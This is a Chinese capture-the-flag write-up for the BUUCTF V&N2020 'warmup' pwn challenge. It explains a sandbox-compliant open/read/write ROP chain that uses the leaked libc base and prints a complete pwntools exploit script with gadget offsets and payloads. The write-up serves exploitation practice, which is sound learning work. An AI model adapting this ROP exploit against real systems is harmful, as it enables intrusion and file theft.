BUUCTF--[V&N2020 公开赛]warmup

一开始直接告诉你libc基址。

有沙盒,分析了一下,write的count不等于0x10就可以,0x30什么的都可以。

嗯,还开了PIE。

很明显了,orw。 问题是开了PIE,b'flag\x00'不能写在BSS上了,同时也不能重复执行main。

怎么办呢,细心的小伙伴会发现我们知道libc的基址,那可以写在libc的bss上面啊。

这是第一段写入,不能溢出。

这是第二段,如果你用gdb调试一下或看看汇编就可以发现,如果这个0x80写满会和上面的0x180连起来。那就很简单了,从libc里面找gadget就好了。

以下是exp:

python 复制代码
from pwn import *
context.arch='amd64'
#io=process('./pwn')
io=remote('node5.buuoj.cn',25603)
libc=ELF('./libc-2.23.so')
io.recvuntil(b'Here is my gift: ')
libc_base=int(io.recv(14),16)-libc.sym['puts']
print('libc_base:',hex(libc_base))
libc.address=libc_base
ope=libc.sym['open']
read=libc.sym['read']
puts=libc.sym['puts']
write=libc.sym['write']
rdi=libc_base+0x21102
rsi=libc_base+0x202e8
rdx=libc_base+0x1b92
push_rsi=libc_base+0x34bcf
bss=libc.bss()
print('bss',hex(bss))
io.recvuntil(b'Input something: ')
payload=p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)
payload+=p64(read)+p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(ope)
payload+=p64(rdi)+p64(3)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(read)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x30)+p64(write)
io.send(payload)
io.recvuntil(b"What's your name?")
payload=b'a'*0x78+p64(rdi)
io.send(payload)
sleep(0.1)
io.send(b'flag\x00')
io.interactive()

这里注意一点,open的第二个参数一定要特意写一下。

以下是通义千问的解释:

在不指定rsi的情况,open会直接将rsi里面的值作为flag值,而rsi里面有时候存着地址,是一个极大值,可能会引起一些意想不到的问题。例如这题中,执行rop的时候rsi存着的是buf的地址,是一个极大值,一开始我没有pop rsi为0,导致执行了好几遍都没法orw成功,加上了pop rsi 0才成功读出flag。

相关推荐
志栋智能1 小时前
超自动化安全如何优化安全运营成本?
人工智能·安全·自动化
jieyucx2 小时前
【系统安全铁律】解密 Linux 权限三色数字密码:chmod 最小化赋权与生产环境避坑指南
linux·安全·系统安全·权限·chmod·777
HackTwoHub3 小时前
某单位 CMS 完整渗透链、SQL 注入→后台拿权→绕过宝塔 Waf 上线 shell
数据库·人工智能·sql·安全·网络安全·系统安全·安全架构
山东穆柯传感器3 小时前
车间安监验收不通过?安全地毯选对厂家一次达标
安全
Kyrie6784 小时前
OpenSSH 10.4 发布:后量子签名时代来临
安全
IVVi0jToe4 小时前
高效C++线程池设计与实现
java·c++·安全
MartinYeung55 小时前
实战测试 LLM 安全护栏:@martin_yeung/llm-up-guardrail 全面评测与避坑指南
安全
DS小龙哥5 小时前
基于树莓派PICO2设计的汽车少儿安全预警系统
网络·安全·汽车
solar应急响应5 小时前
【银狐应急复盘】伪装 Telegram 的“白加黑”银狐木马,从深度溯源到彻底清除的闭环响应实录(附自查 IOC)
网络·安全
Lottie20265 小时前
京东电商进阶运营:精准定价+安全铺货+竞品监控+利润管控全自动化方案
运维·安全·自动化